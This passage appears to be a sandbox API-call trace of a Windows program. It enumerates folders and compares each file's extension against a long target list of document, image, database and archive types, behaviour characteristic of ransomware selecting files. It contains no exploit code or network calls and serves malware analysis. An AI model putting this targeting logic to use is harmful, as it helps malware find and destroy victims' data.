lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0037.113] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.115] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.116] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0038.071] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.071] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0038.071] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0038.071] FindClose (in: hFindFile=0x7cba90 | out: hFindFile=0x7cba90) returned 1 [0038.071] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ec00c8 | out: hHeap=0x790000) returned 1 [0038.071] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0038.072] lstrlenW (lpString="oskmenu.xml") returned 11 [0038.072] lstrlenW (lpString=".1cd") returned 4 [0038.072] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".3ds") returned 4 [0038.072] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".3fr") returned 4 [0038.072] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".3g2") returned 4 [0038.072] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".3gp") returned 4 [0038.072] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".7z") returned 3 [0038.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.072] lstrlenW (lpString=".accda") returned 6 [0038.072] lstrcmpiW (lpString1=".accda", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".accdb") returned 6 [0038.072] lstrcmpiW (lpString1=".accdb", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".accdc") returned 6 [0038.072] lstrcmpiW (lpString1=".accdc", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".accde") returned 6 [0038.072] lstrcmpiW (lpString1=".accde", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".accdt") returned 6 [0038.072] lstrcmpiW (lpString1=".accdt", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".accdw") returned 6 [0038.072] lstrcmpiW (lpString1=".accdw", lpString2="nu.xml") returned -1 [0038.072] lstrlenW (lpString=".adb") returned 4 [0038.072] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".adp") returned 4 [0038.072] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0038.072] lstrlenW (lpString=".ai") returned 3 [0038.072] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0038.072] lstrlenW (lpString=".ai3") returned 4 [0038.072] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ai4") returned 4 [0038.073] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ai5") returned 4 [0038.073] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ai6") returned 4 [0038.073] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ai7") returned 4 [0038.073] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ai8") returned 4 [0038.073] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".anim") returned 5 [0038.073] lstrcmpiW (lpString1=".anim", lpString2="u.xml") returned -1 [0038.073] lstrlenW (lpString=".arw") returned 4 [0038.073] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".as") returned 3 [0038.073] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0038.073] lstrlenW (lpString=".asa") returned 4 [0038.073] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".asc") returned 4 [0038.073] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".ascx") returned 5 [0038.073] lstrcmpiW (lpString1=".ascx", lpString2="u.xml") returned -1 [0038.073] lstrlenW (lpString=".asm") returned 4 [0038.073] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".asmx") returned 5 [0038.073] lstrcmpiW (lpString1=".asmx", lpString2="u.xml") returned -1 [0038.073] lstrlenW (lpString=".asp") returned 4 [0038.073] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".aspx") returned 5 [0038.073] lstrcmpiW (lpString1=".aspx", lpString2="u.xml") returned -1 [0038.073] lstrlenW (lpString=".asr") returned 4 [0038.073] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".asx") returned 4 [0038.073] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0038.073] lstrlenW (lpString=".avi") returned 4 [0038.074] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".avs") returned 4 [0038.074] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".backup") returned 7 [0038.074] lstrcmpiW (lpString1=".backup", lpString2="enu.xml") returned -1 [0038.074] lstrlenW (lpString=".bak") returned 4 [0038.074] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".bay") returned 4 [0038.074] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".bd") returned 3 [0038.074] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0038.074] lstrlenW (lpString=".bin") returned 4 [0038.074] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".bmp") returned 4 [0038.074] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".bz2") returned 4 [0038.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".c") returned 2 [0038.074] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0038.074] lstrlenW (lpString=".cdr") returned 4 [0038.074] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".cer") returned 4 [0038.074] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".cf") returned 3 [0038.074] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0038.074] lstrlenW (lpString=".cfc") returned 4 [0038.074] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".cfm") returned 4 [0038.074] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".cfml") returned 5 [0038.074] lstrcmpiW (lpString1=".cfml", lpString2="u.xml") returned -1 [0038.074] lstrlenW (lpString=".cfu") returned 4 [0038.074] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".chm") returned 4 [0038.074] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0038.074] lstrlenW (lpString=".cin") returned 4 [0038.075] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".class") returned 6 [0038.075] lstrcmpiW (lpString1=".class", lpString2="nu.xml") returned -1 [0038.075] lstrlenW (lpString=".clx") returned 4 [0038.075] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".config") returned 7 [0038.075] lstrcmpiW (lpString1=".config", lpString2="enu.xml") returned -1 [0038.075] lstrlenW (lpString=".cpp") returned 4 [0038.075] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".cr2") returned 4 [0038.075] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".crt") returned 4 [0038.075] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".crw") returned 4 [0038.075] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".cs") returned 3 [0038.075] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0038.075] lstrlenW (lpString=".css") returned 4 [0038.075] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".csv") returned 4 [0038.075] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".cub") returned 4 [0038.075] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".dae") returned 4 [0038.075] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".dat") returned 4 [0038.075] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".db") returned 3 [0038.075] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0038.075] lstrlenW (lpString=".dbf") returned 4 [0038.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".dbx") returned 4 [0038.075] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".dc3") returned 4 [0038.075] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0038.075] lstrlenW (lpString=".dcm") returned 4 [0038.075] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dcr") returned 4 [0038.076] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".der") returned 4 [0038.076] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dib") returned 4 [0038.076] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dic") returned 4 [0038.076] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dif") returned 4 [0038.076] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".divx") returned 5 [0038.076] lstrcmpiW (lpString1=".divx", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".djvu") returned 5 [0038.076] lstrcmpiW (lpString1=".djvu", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".dng") returned 4 [0038.076] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".doc") returned 4 [0038.076] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".docm") returned 5 [0038.076] lstrcmpiW (lpString1=".docm", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".docx") returned 5 [0038.076] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".dot") returned 4 [0038.076] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dotm") returned 5 [0038.076] lstrcmpiW (lpString1=".dotm", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".dotx") returned 5 [0038.076] lstrcmpiW (lpString1=".dotx", lpString2="u.xml") returned -1 [0038.076] lstrlenW (lpString=".dpx") returned 4 [0038.076] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dqy") returned 4 [0038.076] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dsn") returned 4 [0038.076] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0038.076] lstrlenW (lpString=".dt") returned 3 [0038.077] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0038.077] lstrlenW (lpString=".dtd") returned 4 [0038.077] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".dwg") returned 4 [0038.077] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".dwt") returned 4 [0038.077] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".dx") returned 3 [0038.077] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0038.077] lstrlenW (lpString=".dxf") returned 4 [0038.077] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".edml") returned 5 [0038.077] lstrcmpiW (lpString1=".edml", lpString2="u.xml") returned -1 [0038.077] lstrlenW (lpString=".efd") returned 4 [0038.077] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".elf") returned 4 [0038.077] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".emf") returned 4 [0038.077] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".emz") returned 4 [0038.077] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".epf") returned 4 [0038.077] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".eps") returned 4 [0038.077] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".epsf") returned 5 [0038.077] lstrcmpiW (lpString1=".epsf", lpString2="u.xml") returned -1 [0038.077] lstrlenW (lpString=".epsp") returned 5 [0038.077] lstrcmpiW (lpString1=".epsp", lpString2="u.xml") returned -1 [0038.077] lstrlenW (lpString=".erf") returned 4 [0038.077] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".exr") returned 4 [0038.077] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0038.077] lstrlenW (lpString=".f4v") returned 4 [0038.077] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".fido") returned 5 [0038.078] lstrcmpiW (lpString1=".fido", lpString2="u.xml") returned -1 [0038.078] lstrlenW (lpString=".flm") returned 4 [0038.078] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".flv") returned 4 [0038.078] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".frm") returned 4 [0038.078] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".fxg") returned 4 [0038.078] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".geo") returned 4 [0038.078] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".gif") returned 4 [0038.078] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".grs") returned 4 [0038.078] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".gz") returned 3 [0038.078] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0038.078] lstrlenW (lpString=".h") returned 2 [0038.078] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0038.078] lstrlenW (lpString=".hdr") returned 4 [0038.078] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".hpp") returned 4 [0038.078] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".hta") returned 4 [0038.078] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".htc") returned 4 [0038.078] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".htm") returned 4 [0038.078] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".html") returned 5 [0038.078] lstrcmpiW (lpString1=".html", lpString2="u.xml") returned -1 [0038.078] lstrlenW (lpString=".icb") returned 4 [0038.078] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0038.078] lstrlenW (lpString=".ics") returned 4 [0038.078] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".iff") returned 4 [0038.079] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".inc") returned 4 [0038.079] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".indd") returned 5 [0038.079] lstrcmpiW (lpString1=".indd", lpString2="u.xml") returned -1 [0038.079] lstrlenW (lpString=".ini") returned 4 [0038.079] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".iqy") returned 4 [0038.079] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".j2c") returned 4 [0038.079] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".j2k") returned 4 [0038.079] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".java") returned 5 [0038.079] lstrcmpiW (lpString1=".java", lpString2="u.xml") returned -1 [0038.079] lstrlenW (lpString=".jp2") returned 4 [0038.079] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".jpc") returned 4 [0038.079] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".jpe") returned 4 [0038.079] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".jpeg") returned 5 [0038.079] lstrcmpiW (lpString1=".jpeg", lpString2="u.xml") returned -1 [0038.079] lstrlenW (lpString=".jpf") returned 4 [0038.079] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".jpg") returned 4 [0038.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".jpx") returned 4 [0038.079] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".js") returned 3 [0038.079] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0038.079] lstrlenW (lpString=".jsf") returned 4 [0038.079] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0038.079] lstrlenW (lpString=".json") returned 5 [0038.079] lstrcmpiW (lpString1=".json", lpString2="u.xml") returned -1 [0038.079] lstrlenW (lpString=".jsp") returned 4 [0038.080] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".kdc") returned 4 [0038.080] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".kmz") returned 4 [0038.080] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".kwm") returned 4 [0038.080] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".lasso") returned 6 [0038.080] lstrcmpiW (lpString1=".lasso", lpString2="nu.xml") returned -1 [0038.080] lstrlenW (lpString=".lbi") returned 4 [0038.080] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".lgf") returned 4 [0038.080] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".lgp") returned 4 [0038.080] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".log") returned 4 [0038.080] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".m1v") returned 4 [0038.080] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".m4a") returned 4 [0038.080] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".m4v") returned 4 [0038.080] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".max") returned 4 [0038.080] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".md") returned 3 [0038.080] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0038.080] lstrlenW (lpString=".mda") returned 4 [0038.080] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".mdb") returned 4 [0038.080] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".mde") returned 4 [0038.080] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0038.080] lstrlenW (lpString=".mdf") returned 4 [0038.080] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mdw") returned 4 [0038.081] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mef") returned 4 [0038.081] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mft") returned 4 [0038.081] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mfw") returned 4 [0038.081] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mht") returned 4 [0038.081] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mhtml") returned 6 [0038.081] lstrcmpiW (lpString1=".mhtml", lpString2="nu.xml") returned -1 [0038.081] lstrlenW (lpString=".mka") returned 4 [0038.081] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mkidx") returned 6 [0038.081] lstrcmpiW (lpString1=".mkidx", lpString2="nu.xml") returned -1 [0038.081] lstrlenW (lpString=".mkv") returned 4 [0038.081] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mos") returned 4 [0038.081] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mov") returned 4 [0038.081] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mp3") returned 4 [0038.081] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mp4") returned 4 [0038.081] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mpeg") returned 5 [0038.081] lstrcmpiW (lpString1=".mpeg", lpString2="u.xml") returned -1 [0038.081] lstrlenW (lpString=".mpg") returned 4 [0038.081] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mpv") returned 4 [0038.081] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0038.081] lstrlenW (lpString=".mrw") returned 4 [0038.081] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".msg") returned 4 [0038.082] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".mxl") returned 4 [0038.082] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".myd") returned 4 [0038.082] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".myi") returned 4 [0038.082] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".nef") returned 4 [0038.082] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".nrw") returned 4 [0038.082] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".obj") returned 4 [0038.082] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".odb") returned 4 [0038.082] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".odc") returned 4 [0038.082] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".odm") returned 4 [0038.082] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".odp") returned 4 [0038.082] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".ods") returned 4 [0038.082] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".oft") returned 4 [0038.082] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".one") returned 4 [0038.082] 